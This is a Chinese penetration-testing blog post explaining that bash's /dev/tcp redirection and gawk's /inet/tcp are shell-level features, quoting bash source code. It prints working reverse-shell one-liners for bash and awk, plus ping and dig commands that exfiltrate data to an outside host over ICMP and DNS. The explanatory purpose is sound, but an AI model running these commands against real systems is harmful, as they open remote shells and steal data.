前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Reverse Shell 杂谈

Reverse Shell 杂谈

作者头像
evilpan
发布2023-03-27 11:17:24
3800
发布2023-03-27 11:17:24
举报
文章被收录于专栏:有价值炮灰有价值炮灰

那些年被误解的 reverse shell。

前言

昨天有个小伙伴在群里问在 macOS 下如何实现 bash 反弹 shell,因为 Mac 中没有 /dev/tcp 目录。借着这个问题,就来简单谈谈反弹 shell 的那些事。

从 bash 说起

可能大家都用过 bash 反弹 shell:

代码语言:javascript
复制
bash -i >& /dev/tcp/127.0.0.1/8080 0>&1

关于重定向部分很多文章有介绍了,但是 /dev 部分却鲜有提及。很多人以为 /dev/tcp/host/port 是 Linux 内核提供的一个 devfs (或者 udev),曾经我也是这么认为的,但实际上上面的命令在 macOS 甚至 Windows 也可以成功执行,显然这些系统中并不存在 /dev/tcp/ 之类的路径。

WHY?

原因很简单,因为这是 bash 本身提供的功能。其代码实现在 bash/redir.c 中:

代码语言:javascript
复制
/* A list of pattern/value pairs for filenames that the redirection
   code handles specially. */
static STRING_INT_ALIST _redir_special_filenames[] = {
#if !defined (HAVE_DEV_FD)
  { "/dev/fd/[0-9]*", RF_DEVFD },
#endif
#if !defined (HAVE_DEV_STDIN)
  { "/dev/stderr", RF_DEVSTDERR },
  { "/dev/stdin", RF_DEVSTDIN },
  { "/dev/stdout", RF_DEVSTDOUT },
#endif
#if defined (NETWORK_REDIRECTIONS)
  { "/dev/tcp/*/*", RF_DEVTCP },
  { "/dev/udp/*/*", RF_DEVUDP },
#endif
  { (char *)NULL, -1 }
};


static int
redir_special_open (spec, filename, flags, mode, ri)
     int spec;
     char *filename;
     int flags, mode;
     enum r_instruction ri;
{
  // ...
#if defined (NETWORK_REDIRECTIONS)
    case RF_DEVTCP:
    case RF_DEVUDP:
#if defined (RESTRICTED_SHELL)
      if (restricted)
	return (RESTRICTED_REDIRECT);
#endif
#if defined (HAVE_NETWORK)
      fd = netopen (filename);
#else
}

而 netopen 函数则定义在 bash/lib/sh/netopen.c 中:

代码语言:javascript
复制
/*
 * Open a TCP or UDP connection given a path like `/dev/tcp/host/port' to
 * host `host' on port `port' and return the connected socket.
 */
int
netopen (path)
     char *path;
{
  char *np, *s, *t;
  int fd;

  np = (char *)xmalloc (strlen (path) + 1);
  strcpy (np, path);

  s = np + 9;
  t = strchr (s, '/');
  if (t == 0)
    {
      internal_error (_("%s: bad network path specification"), path);
      free (np);
      return -1;
    }
  *t++ = '\0';
  fd = _netopen (s, t, path[5]);
  free (np);

  return fd;
}

/*
 * Open a TCP or UDP connection to HOST on port SERV.  Uses getaddrinfo(3)
 * if available, falling back to the traditional BSD mechanisms otherwise.
 * Returns the connected socket or -1 on error.
 */
static int 
_netopen(host, serv, typ)
     char *host, *serv;
     int typ;
{
#ifdef HAVE_GETADDRINFO
  return (_netopen6 (host, serv, typ));
#else
  return (_netopen4 (host, serv, typ));
#endif
}

因此,这实际上只是对 /dev/{tcp,udp} 开头的文件进行字符串解析并根据解析结果建立网络连接,并没有涉及到具体的操作系统。如果解析失败,比如字段数量不正常或者协议不正确,才会回退到 open(2) 操作,即指定路径当做常规文件处理。

awk

当然,bash 并不是唯一实现了这种根据路径指定网络连接的功能,比如常见的 awk 一句话反弹 shell:

代码语言:javascript
复制
awk 'BEGIN {s = "/inet/tcp/0/127.0.0.1/8080"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

awk: bash摸得,我摸不得?

在编写本文时最新的代码实现在 io.c 中,片段如下所示:

io.c

与 bash 的连接相比,awk 的实现增加了更多功能,可以指定 IPv4/IPv6,以及指定绑定的本地端口。

小结

在最初接触渗透测试的时候,喜欢收集各种一句话反弹 shell,其实并不必要,因为看多了就会知道其本质是一样的,在实际进行漏洞(比如命令注入)时,通常就是有什么用什么,只要能够实现目的即可,比如读取本地文件后,可以通过很多命令传输到攻击者处,比如:

  • 用 ICMP 携带 payload: ping -p payload evilpan.com
  • 用 DNS 请求携带 paylaod,也就是常说的 DNSLog: dig @1.2.3.4 -p 5333 -t A payload.evilpan.com

换言之,reverse shell 的本质只是: connectreadexecwrite、repeat,而网上各种所谓的一句话反弹 shell,也不过是用各种语言编写对应的操作而已,了解实现背后的本质,才能达到举一反三的效果。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2021-04-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 从 bash 说起
  • awk
  • 小结
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档